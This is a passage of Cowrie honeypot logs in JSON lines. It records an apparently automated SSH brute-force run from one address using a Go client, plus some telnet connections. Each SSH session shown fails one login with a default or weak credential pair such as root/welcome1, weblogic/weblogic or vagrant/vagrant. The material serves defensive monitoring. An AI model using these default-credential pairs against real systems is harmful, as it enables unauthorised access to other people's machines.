@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:14.752113Z","src_ip":"176.65.132.129","session":"6e36037e15cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35810,"dst_ip":"159.203.135.109","dst_port":23,"session":"4de90707cb76","protocol":"telnet","message":"New connection: 38.60.198.128:35810 (159.203.135.109:23) [session: 4de90707cb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:14.931107Z"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:14.999933Z","src_ip":"176.65.132.129","session":"6e36037e15cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:16.163324Z","src_ip":"176.65.132.129","session":"6e36037e15cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43604,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6f0179a8f5b","protocol":"ssh","message":"New connection: 176.65.132.129:43604 (10.17.0.5:22) [session: c6f0179a8f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:18.040844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:18.045704Z","src_ip":"176.65.132.129","session":"c6f0179a8f5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:18.127951Z","src_ip":"176.65.132.129","session":"c6f0179a8f5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:18.374519Z","src_ip":"176.65.132.129","session":"c6f0179a8f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:19.459471Z","src_ip":"176.65.132.129","session":"c6f0179a8f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43616,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c13b1fd7cc1","protocol":"ssh","message":"New connection: 176.65.132.129:43616 (10.17.0.5:22) [session: 9c13b1fd7cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:21.599829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:21.604626Z","src_ip":"176.65.132.129","session":"9c13b1fd7cc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:21.687006Z","src_ip":"176.65.132.129","session":"9c13b1fd7cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:21.936562Z","src_ip":"176.65.132.129","session":"9c13b1fd7cc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:23.021958Z","src_ip":"176.65.132.129","session":"9c13b1fd7cc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.88202404975891,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:23.351496Z","src_ip":"38.60.198.128","session":"2b85bc2a4478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43632,"dst_ip":"10.17.0.5","dst_port":22,"session":"4746bf19f853","protocol":"ssh","message":"New connection: 176.65.132.129:43632 (10.17.0.5:22) [session: 4746bf19f853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:24.966352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:24.975050Z","src_ip":"176.65.132.129","session":"4746bf19f853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:25.057264Z","src_ip":"176.65.132.129","session":"4746bf19f853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:25.305739Z","src_ip":"176.65.132.129","session":"4746bf19f853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:26.391477Z","src_ip":"176.65.132.129","session":"4746bf19f853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45088,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7bbbf3ac79c","protocol":"ssh","message":"New connection: 176.65.132.129:45088 (10.17.0.5:22) [session: a7bbbf3ac79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:28.304705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:28.309105Z","src_ip":"176.65.132.129","session":"a7bbbf3ac79c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:28.390812Z","src_ip":"176.65.132.129","session":"a7bbbf3ac79c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:28.860626Z","src_ip":"176.65.132.129","session":"a7bbbf3ac79c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:29.945235Z","src_ip":"176.65.132.129","session":"a7bbbf3ac79c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45100,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8b3852623a7","protocol":"ssh","message":"New connection: 176.65.132.129:45100 (10.17.0.5:22) [session: a8b3852623a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:31.883147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:31.889514Z","src_ip":"176.65.132.129","session":"a8b3852623a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:31.971165Z","src_ip":"176.65.132.129","session":"a8b3852623a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:32.217212Z","src_ip":"176.65.132.129","session":"a8b3852623a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:33.302440Z","src_ip":"176.65.132.129","session":"a8b3852623a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":40514,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef60b84f2f39","protocol":"telnet","message":"New connection: 192.211.53.160:40514 (159.203.135.109:23) [session: ef60b84f2f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:34.775288Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45112,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab3022ad074d","protocol":"ssh","message":"New connection: 176.65.132.129:45112 (10.17.0.5:22) [session: ab3022ad074d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:35.244390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:35.248558Z","src_ip":"176.65.132.129","session":"ab3022ad074d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:35.330863Z","src_ip":"176.65.132.129","session":"ab3022ad074d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:35.577562Z","src_ip":"176.65.132.129","session":"ab3022ad074d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:36.662737Z","src_ip":"176.65.132.129","session":"ab3022ad074d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53974,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c12084bd5b7","protocol":"ssh","message":"New connection: 176.65.132.129:53974 (10.17.0.5:22) [session: 9c12084bd5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:38.836187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:38.841193Z","src_ip":"176.65.132.129","session":"9c12084bd5b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:38.922856Z","src_ip":"176.65.132.129","session":"9c12084bd5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:39.165438Z","src_ip":"176.65.132.129","session":"9c12084bd5b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:40.248776Z","src_ip":"176.65.132.129","session":"9c12084bd5b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53990,"dst_ip":"10.17.0.5","dst_port":22,"session":"7940393ed4ce","protocol":"ssh","message":"New connection: 176.65.132.129:53990 (10.17.0.5:22) [session: 7940393ed4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:42.189296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:42.192812Z","src_ip":"176.65.132.129","session":"7940393ed4ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:49:42.275166Z","src_ip":"176.65.132.129","session":"7940393ed4ce","protocol":"ssh"}
